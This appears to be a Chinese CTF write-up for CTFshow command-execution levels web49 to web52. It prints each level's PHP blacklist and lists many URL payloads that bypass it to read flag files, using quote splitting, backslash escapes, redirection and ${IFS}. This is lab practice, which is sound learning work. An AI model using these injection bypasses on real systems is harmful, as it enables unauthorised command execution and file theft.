当前位置: 首页 > news >正文

CTFshow系列——命令执行web49-52

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

    • Web49
    • Web50
    • Web51(新payload,打开思路)
    • Web52
      • 尝试payload
    • 总结


Web49

不多说,直接看代码:

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

这里我们与Web48关,进行对比,发现只是增加了 % 的过滤;

我们还可以用\‘’单引号来执行payload:

# payload
?c=tac%09fla?.php||
?c=tac<f''lag.php||
?c=tac<fla%27%27g.php||# 查看源代码
?c=c\at<fl\ag.php||

其实payload是一样的,没有改变:

在这里插入图片描述


Web50

还是直接看代码,这里都能看出来不同:

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

多了对\x09\x26的过滤:

那么多了这两个作用是什么?

  • \x09\x26 的过滤都是为了让命令注入变得更难,它们分别用于防范:

  • \x09: 防止攻击者使用制表符来代替空格,从而执行带有参数的命令。

    • 作用:代码已经过滤了空格 ,攻击者无法使用 ls -al 这样的命令。然而,如果 \x09 没有被过滤,攻击者就可以用制表符来代替空格
    • 攻击示例
    • 原始命令:ls -al
    • 绕过后的命令:ls%09-al

  • \x26: 防止攻击者使用 & 符号来执行多条命令或将命令放入后台。
    • 作用:过滤 &&& 是为了进一步限制攻击者执行多个命令
  • 攻击示例:
    • 原始攻击:ls; cat flag.php (已被分号过滤)

    • & 绕过:ls & cat flag.php

    • && 绕过:ls && cat flag.php

那照这么说,我们的 payload:?c=tac%09fla?.php|| 岂不是用不了了?
事实证明,确实用不了。。。

但是其他payload还是不受影响的:

?c=tac<f''lag.php||
?c=tac<fla%27%27g.php||# 查看源代码
?c=c\at<fl\ag.php||

在这里插入图片描述


Web51(新payload,打开思路)

还是看代码:

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

这里竟然把我们最爱的tac 都给过滤掉了,那我们还能用什么方法进行过滤?

tac被过滤,就用nl
既然'' 能够过滤f’'lag,那么为什么不试试t' 'ac呢?

# payload
?c=nl<f''lag.php||# 这个也不能忘记
?c=c\at<fl\ag.php||
?c=t\ac<fl\ag.php||
?c=n\l<fl\ag.php||
?c=mor\e<fl\ag.php||
?c=les\s<fl\ag.php||# 同理,查看源代码
?c=t''ac<f''lag.php||
?c=mor''e<fla''g.php||
?c=les''s<fla''g.php||

在这里插入图片描述

其他的尝试:
这里还尝试进行Web43,想将flag.php复制到out.txt文件,发现还是不行。

Web52

直接看代码:

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

分析代码得知,多了对< > 的过滤:
在这里插入图片描述
还是那个问题:
接下来我们要找<的替代品,或者 空格 的另一种绕过方式;

  • > < &被过滤了,就用${IFS}
    • ${IFS} 的含义:IFS 全称为 “Internal Field Separator”(内部字段分隔符),默认值包含空格、制表符和换行符。在命令行里,${IFS} 可以用来替代空格。
    • 原因:正则表达式过滤了空格字符 ,但没有对 ${IFS} 进行过滤。
    • 所以,当把命令写成ls${IFS}-l时,在正则表达式的检查中,因为不存在被过滤的空格字符,该命令就能通过检查。

当然,我们还可以尝试\ 的payload是否能用:

尝试payload

这里我们输入命令后,发现了东西,但好像有没发现:

?c=t''ac${IFS}f''lag.php||

在这里插入图片描述

是这个字符串的md5值吗,输入进入发现也不是:ctfshow{48dbb53bc7c946dc4b9b8c782b054551}
在这里插入图片描述

那我们进入别的目录查找:

# 查看根目录查看
?c=ls${IFS}/||

在这里插入图片描述

发现flag目录,进入查看是否有flag:

?c=t''ac${IFS}/f''lag||

在这里插入图片描述

好了,得到flag,下面我帮大家把能试出来的都试出来了:

注意:这里关于 反引号\ 作用是一样的,都可以相互替换,我就不进行枚举了:

?c=t''ac${IFS}/f''lag||
?c=c''at${IFS}/f''lag||
?c=nl${IFS}/f''lag||
?c=m''ore${IFS}/f''lag||
?c=l''ess${IFS}/f''lag||# 查看源代码
?c=c\at${IFS}/fl\ag||
?c=t\ac${IFS}/fl\ag||
?c=n\l${IFS}/fl\ag||
?c=mor\e${IFS}/fl\ag||
?c=les\s${IFS}/fl\ag||

好了,差不多就这么点东西了;

总结

本次也是给大家提供了很多payload,但其实规律都是一样的:通过特殊字符进行关键词的绕过,然后再逐渐尝试;

http://www.dtcms.com/a/348019.html

相关文章:

  • assert使用方法
  • Redis 高可用开发指南
  • 力扣594:最和谐子序列
  • 客流特征识别误报率↓76%!陌讯多模态时序融合算法在智慧零售的实战解析
  • Tesla智能座舱域控制器(MCU)的系统化梳理
  • 【网络运维】Shell 脚本编程:if 条件语句
  • 【40页PPT】数字工厂一体化运营管控平台解决方案(附下载方式)
  • Spark04-MLib library01-机器学习的介绍
  • SNMP 协议的总结
  • 每日算法题【链表】:相交链表、环形链表、环形链表II
  • 鸿蒙分布式计算实战:用 ArkTS+Worker 池落地可运行任务管理 Demo,从单设备到跨设备全方案
  • [二维前缀和]1277. 统计全为 1 的正方形子矩阵
  • HarmonyOS实战(DevEco AI篇)—深度体验DevEco CodeGenie智能编程助手
  • Function + 枚举 + Map:轻量路由器的最佳实践
  • ERROR 2003 (HY000): Can‘t connect to MySQL server on ‘192.168.24.96‘ (10060)
  • 基于Java、GeoTools与PostGIS的对跖点求解研究
  • 大数据毕业设计选题推荐:基于Spark+Django的学生创业数据分析可视化系统详解 毕业设计/选题推荐/深度学习/数据分析/数据挖掘/机器学习/随机森林
  • 网络编程socket-Udp
  • Linux网络启程
  • Java基础(十四)分布式
  • 《Distilling the Knowledge in a Neural Network》论文PDF分享, 2015 年,谷歌提出了 “知识蒸馏” 的概念
  • 深入解析Apache Kafka的核心概念:构建高吞吐分布式流处理平台
  • 07-分布式能力与多设备协同
  • Lucene 与 Elasticsearch:从底层引擎到分布式搜索平台的演进
  • Flink提交作业
  • (Redis)内存淘汰策略
  • Elastic APM vs Apache SkyWalking vs Pinpoint:APM性能监控方案对比分析与最佳实践
  • 深度学习之第二课PyTorch与CUDA的安装
  • 华为云Stack环境中计算资源,存储资源,网络资源发放前的准备工作(上篇)
  • 【软考架构】云计算相关概念